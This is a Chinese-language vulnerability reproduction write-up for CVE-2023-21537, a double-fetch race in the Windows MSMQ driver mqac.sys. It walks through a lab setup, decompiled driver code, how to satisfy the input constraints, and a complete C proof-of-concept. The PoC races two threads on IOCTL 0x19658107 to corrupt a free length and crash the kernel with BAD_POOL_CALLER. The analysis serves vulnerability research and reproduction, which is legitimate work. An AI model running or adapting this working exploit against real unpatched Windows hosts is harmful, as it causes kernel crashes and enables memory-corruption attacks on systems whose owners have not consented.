CVE-2023-21537 漏洞复现
CVE-2023-21537 是一个 Windows 消息队列(MSMQ)驱动程序 mqac.sys
中的漏洞。该漏洞于 2023 年 1 月披露,并已被微软修复。漏洞并没有公开的 PoC 程序,漏洞发现者只通过文章 Racing bugs in Windows kernel 透露了部分信息。笔者在其基础上深入分析了相关代码,成功地复现了此漏洞。本文就是对漏洞研究的总结。
漏洞复现环境搭建
由于此漏洞已经在较新的系统中被修复,复现漏洞需要在旧版本的系统中进行。笔者在 Hyper-V 虚拟机中安装了 Windows 10 21H1 版本,内部版本号为 19043.928。此外,由于消息队列是 Windows 的可选功能,需要在控制面板中手动启用。方法是:打开控制面板,选择「程序」,点击「启用或关闭 Windows 功能」,并开启「Microsoft 消息队列(MSMQ)服务器」。如下图所示。
之后,打开计算机管理,在侧栏中选择「服务和应用程序」,点开「消息队列」下面的「专用队列」,并右键新建专用队列。队列名称需要记下来,之后的 PoC 程序里面需要用到。完成后,情况如下图所示。
为了方便调试 PoC 程序,在虚拟机中还可以开启内核调试,这样就可以通过 Host 上的 WinDbg 给虚拟机的 Windows 内核下断点进行调试了。方法是开启管理员权限的 Powershell,执行如下命令1
2bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.1.2 port:50001 key:1.2.3.4
把 hostip
换成 Host 的 ip 地址,port
和 key
可以修改。完成后,重启虚拟机,之后在 WinDbg 里面用这些参数就可以对虚拟机的内核进行 debug 了。
漏洞分析
根据漏洞发现者的文章,该漏洞的成因是 mqac.sys
中的 ACSendMessage
函数会两次读取一个来自用户的输入参数,第一次该参数用于控制数组长度,第二次则是在释放堆内存时,根据该长度进行释放。然而,这段逻辑并未考虑参数会被用户修改的可能,因而构成一个 Double fetch 漏洞,可能导致错误的内存被释放。
mqac.sys
提供了 IoControl 调用的处理函数,名称为 ACDeviceControl
,该函数将会解析用户传入的参数,并调用不同的派发函数。通过逆向分析 ACDeviceControl
函数,发现当 IoControl 调用号为 0x19658107
且输出缓冲区的总长度为 0x2C0
时,它会进一步调用 ACSendMessage
这一派发函数。IDA 反编译得到的关键代码如下(省略了部分上下文):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20__int64 __fastcall ACDeviceControl(struct _DEVICE_OBJECT *DeviceObject, struct _IRP *Irp)
{
struct _IO_STACK_LOCATION *CurrentStackLocation Irp->Tail.Overlay.CurrentStackLocation;
unsigned int LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
__int64 Length = CurrentStackLocation->Parameters.Read.Length;
const struct CQueueBase *FsContext = CurrentStackLocation->FileObject->FsContext;
NTSTATUS Information;
// ...
switch ( LowPart )
{
case 0x19658107u:
if ( (_DWORD)Length == 704 )
{
Information = ACSendMessage(DeviceObject, Irp, Options, FsContext, (struct CACSendParameters *)UserBuffer);
goto LABEL_246;
}
// ...
}
// ...
}
ACSendMessage
函数首先将用户态缓冲区复制到内核态栈上的缓冲区,之后,将执行核心的业务逻辑,调用 CQueue::PutNewPacket
来发送用户请求的数据,完成后再调用 ACFreeDeepCopyQueueFormat
进行堆内存的释放。此处便存在漏洞:进行内存释放操作传入的第二个参数直接读取自用户态缓冲区中。下面是 IDA 反编译得到的关键结果,参数 UserBuffer
就是指向用户缓冲区的指针。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26__int64 __fastcall ACSendMessage(
struct _DEVICE_OBJECT *DeviceObject,
struct _IRP *Irp,
unsigned int Options,
const struct CQueueBase *FsContext,
struct CACSendParameters *UserBuffer)
{
const struct BOID *v15;
PVOID Contents[36];
memset(Contents, 0, 0x118ui64);
_DWORD *DeviceExtension = DeviceObject->DeviceExtension;
int v9 = CQueueBase::Validate(FsContext);
if ( v9 >= 0 )
{
if ( DeviceExtension[246] )
{
ACDeepProbeSendParams(DeviceObject, UserBuffer, (struct ACSendParametersPointerContents *)Contents);
v15 = (const struct BOID *)*((_QWORD *)UserBuffer + 45);
}
// ...
if ( Contents[23] )
ACFreeDeepCopyQueueFormat((char *)Contents[23], *((_DWORD *)UserBuffer + 148));
// ...
}
// ...
}
这样问题看上去就很明确了:我们首先获得指向 MQAC 虚拟设备的句柄,然后向其发送号码为 0x19658107
的 IoControl 调用,并通过调整参数使 ACFreeDeepCopyQueueFormat
函数能够执行。这又要满足 Contents[23]
不为零的约束条件。观察之后发现 Contents
先被初始化为了全 0,然后传入了 ACDeepProbeSendParams
这个函数里面,所以还要设法让这个函数帮我们修改 Contents[23]
,才能触发漏洞。
编写 PoC 程序
先试一试效果,代码看上去像这样:1
2
3HANDLE hDevice = CreateFile(L"\\\\.\\MQAC", 2, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 2, 0x40000080, NULL);
NTSTATUS status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, (PIO_STATUS_BLOCK)&IoStatusBlock,
0x19658107, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize);
然而,这样子是没有办法触发漏洞的。实验发现,NtDeviceIoControlFile
会返回错误值 0xC0000008
,其 NTSTATUS 含义为 STATUS_INVALID_HANDLE
,也就是说驱动认为此时的 hDevice
句柄是非法的。继续逆向之后发现,问题出在 ACSendMessage
调用 CQueueBase::Validate
检查 FsContext
,如果检查失败就会返回 0xC0000008
。IDA 反编译得到的结果如下:1
2
3
4
5
6
7
8
9__int64 __fastcall CQueueBase::Validate(const struct CQueueBase *FsContext)
{
if ( FsContext )
return (*(unsigned int (__fastcall **)(const struct CQueueBase *))(*(_QWORD *)FsContext + 40i64))(FsContext) != 0
? 0xC00E0056
: 0;
else
return 0xC0000008i64;
}
那么这个 FsContext
是哪里来的呢?继续分析驱动中的其他函数,发现如果 IoControl 调用号为一些其它值,那么相应的派发函数可能会设置这个值。换句话说,在调用 0x19658107
这个接口之前,还需要先调用其它的接口,否则 MQAC 设备的状态不对,就无法通过参数检查,亦无法触发漏洞。要解决这个问题,我们不妨先看看 MQAC 正常的调用方式是怎样的。
分析 MQAC 的正常调用方式
微软为消息队列提供了头文件 mq.h
以及运行时库 mqrt.dll
,其中包含 MQOpenQueue
和 MQSendMessage
等函数,供开发者使用。这些函数其实正是封装了对驱动程序 mqac.sys
发起的 IoControl 调用。根据微软的文档 C-C++ Code Example: Sending Messages to a Destination Queue,相关函数的典型用法是这样的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32WCHAR wszFormatName[] = L"DIRECT=OS:.\\Private$\\myQueue";
// Call MQOpenQueue to open the queue with send access.
hr = MQOpenQueue(
wszFormatName, // Format name of the queue
MQ_SEND_ACCESS, // Access mode
MQ_DENY_NONE, // Share mode
&hQueue // OUT: Queue handle
);
// Handle any error returned by MQOpenQueue.
if (FAILED(hr))
{
printf("MQOpenQueue failed\n");
return hr;
}
// Call MQSendMessage to send the message to the queue.
hr = MQSendMessage(
hQueue, // Queue handle
&msgProps, // Message property structure
MQ_NO_TRANSACTION // Not in a transaction
);
if (FAILED(hr))
{
printf("MQSendMessage failed\n");
MQCloseQueue(hQueue);
return hr;
}
// Call MQCloseQueue to close the queue.
hr = MQCloseQueue(hQueue);
我们可以通过 IDA 反编译 mqrt.dll
来分析这些函数的实现。结果发现,MQOpenQueue
会调用 RtpOpenQueue
,进一步通过 CreateFileW
拿到 MQAC 虚拟设备的句柄,并发起号码为 0x19650117
和 0x1965015F
的 IoControl 调用。而 MQSendMessage
会调用 RTpSendMessage
,进一步通过 CRtSend::SendMessageW
发起号码为 0x19658107
的 IoControl 调用,这也正是对应我们前面分析过的 ACSendMessage
接口。
这样,返回错误值的原因就很清楚了。我们还需要仿造 MQOpenQueue
,在 PoC 程序中增加 0x19650117
和 0x1965015F
这两个 IoControl 调用,才能够让设备处于正确的状态。可以想像,队列名称的参数也是通过它们设置的。然而,这不是一个简单的事情,笔者尝试了构造参数但一直没有成功。后来发现,其实 MQOpenQueue
传出的 hQueue
句柄参数,正是 MQAC 虚拟设备的句柄。这样就好办了,我们先借用 MQOpenQueue
函数来获得一个合法的设备句柄 hQueue
,然后直接使用该句柄来发起 IoControl 调用,就有望成功地通过检查了。
PoC 看上去就会像这个样子,当然,其中还有 lpOutBuffer
参数需要我们构造:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22WCHAR wszFormatName[] = L"DIRECT=OS:.\\Private$\\myQueue";
// Call MQOpenQueue to open the queue with send access.
HRESULT hr = MQOpenQueue(
wszFormatName, // Format name of the queue
MQ_SEND_ACCESS, // Access mode
MQ_DENY_NONE, // Share mode
&hQueue // OUT: Queue handle
);
// Handle any error returned by MQOpenQueue.
if (FAILED(hr))
{
printf("MQOpenQueue failed\n");
return hr;
}
printf("MQOpenQueue succeed\n");
struct _OVERLAPPED IoStatusBlock;
DWORD nOutBufferSize = 0x2C0;
NTSTATUS status = NtDeviceIoControlFile(hQueue, NULL, NULL, NULL, (PIO_STATUS_BLOCK)&IoStatusBlock,
0x19658107, NULL, 1, lpOutBuffer, nOutBufferSize);
现在再试运行一下,非常好!CQueueBase::Validate
通过了,我们离触发漏洞更近了一步;但 ACFreeDeepCopyQueueFormat
仍然没有执行。调试之后发现,这次卡在了 ACDeepProbeSendParams
函数里面。我们看看它做了些什么检查。
分析约束条件
1 | void __fastcall ACDeepProbeSendParams( |
这些 WPP
开头的函数是 Windows software trace preprocessor 的组件,我们可以忽略。还记得我们前面看到执行 ACFreeDeepCopyQueueFormat
需要满足 Contents[23]
不为 0 么,这意味着 ACDeepProbeSendParams
里面 ACDeepCopyQueueFormat
所在的分支需要被执行,而其条件为 v6
不为 0。我们可以看到,v6
的值来自 UserBuffer
中偏移量 73 个 QWORD,也就是 584 个字节处。再往前看,如果 UserBuffer
中偏移量 148 个 DWORD,也就是 592 个字节处的值为 0,那么 v6
就会被置为 0,这不是我们希望的情况。所以,我们知道了:UserBuffer
中偏移量 592 个字节处的值必须为非 0,才能够触发漏洞。更重要的是,ACFreeDeepCopyQueueFormat
的第二个参数也正是从 UserBuffer
中偏移量 592 个字节处读取的。如果我们设法赢得竞态条件,在该函数进行内存释放前成功地修改了此处的参数值,将其设置为较大的值,那么将导致超出范围地释放任意指针。
此外,v6
的值被传入了 ACProbeArrayElementsForRead
,这个函数的作用其实是检测它是否是一个合法指针,相关的内存块是否可读。因此,我们还需要预先分配用户态的缓冲区,并设置好指针指向,避免这个函数的检查不通过。这样,我们又确认了:UserBuffer
中偏移量 584 个字节处应当是一个合法的指针。
至此我们已经分析得出了全部的约束条件。通过人工构造参数并编写程序发起 IoControl 请求,可以成功地触发漏洞,使内核崩溃。完整的 PoC 程序如下。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
__kernel_entry NTSTATUS NtDeviceIoControlFile(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG IoControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
HANDLE hQueue = NULL;
BYTE* lpOutBuffer;
DWORD nOutBufferSize = 0x2C0;
__int64* pArrayLen;
void ThreadX0() {
ulong PrefProc = 0;
if (!SetThreadAffinityMask(GetCurrentThread(), (ulong)(1 << PrefProc)))
{
printf("Warning: Error setting affinity mask\r\n");
return;
}
if (SetThreadIdealProcessor(GetCurrentThread(), PrefProc) == -1)
{
printf("Warning: Error setting ideal processor, Err: %X\r\n", GetLastError());
}
struct _OVERLAPPED IoStatusBlock;
while (1) {
*pArrayLen = 1;
NTSTATUS status = NtDeviceIoControlFile(hQueue, NULL, NULL, NULL, (PIO_STATUS_BLOCK)&IoStatusBlock,
0x19658107, NULL, 1, lpOutBuffer, nOutBufferSize);
printf("%x", status);
}
}
void ThreadX1() {
ulong PrefProc = 1;
if (!SetThreadAffinityMask(GetCurrentThread(), (ulong)(1 << PrefProc)))
{
printf("Warning: Error setting affinity mask\r\n");
return;
}
if (SetThreadIdealProcessor(GetCurrentThread(), PrefProc) == -1)
{
printf("Warning: Error setting ideal processor, Err: %X\r\n", GetLastError());
}
while (1) {
// Points to length, let's change it!
*pArrayLen = 10000;
}
}
int main()
{
WCHAR wszFormatName[] = L"DIRECT=OS:.\\Private$\\myQueue";
// Call MQOpenQueue to open the queue with send access.
HRESULT hr = MQOpenQueue(
wszFormatName, // Format name of the queue
MQ_SEND_ACCESS, // Access mode
MQ_DENY_NONE, // Share mode
&hQueue // OUT: Queue handle
);
// Handle any error returned by MQOpenQueue.
if (FAILED(hr))
{
printf("MQOpenQueue failed\n");
return hr;
}
printf("MQOpenQueue succeed\n");
lpOutBuffer = (BYTE*)malloc(nOutBufferSize);
BYTE* pQueue = (BYTE*)malloc(0x40);
struct _OVERLAPPED IoStatusBlock;
memset(lpOutBuffer, 0, nOutBufferSize);
memcpy(lpOutBuffer + 584, &pQueue, 8);
pArrayLen = (__int64*)(lpOutBuffer + 592);
*pArrayLen = 1;
ulong tid0 = 0;
HANDLE hThread0 = CreateThread(0, 0xA000, (LPTHREAD_START_ROUTINE)ThreadX0, 0, 0, &tid0);
ulong tid1 = 0;
HANDLE hThread1 = CreateThread(0, 0xA000, (LPTHREAD_START_ROUTINE)ThreadX1, 0, 0, &tid1);
Sleep(-1);
return 0;
}
运行 PoC 程序一段时间后,WinDbg 捕获到蓝屏,原因是 BAD_POOL_CALLER
,调用栈与预期的相同:
蓝屏界面如下: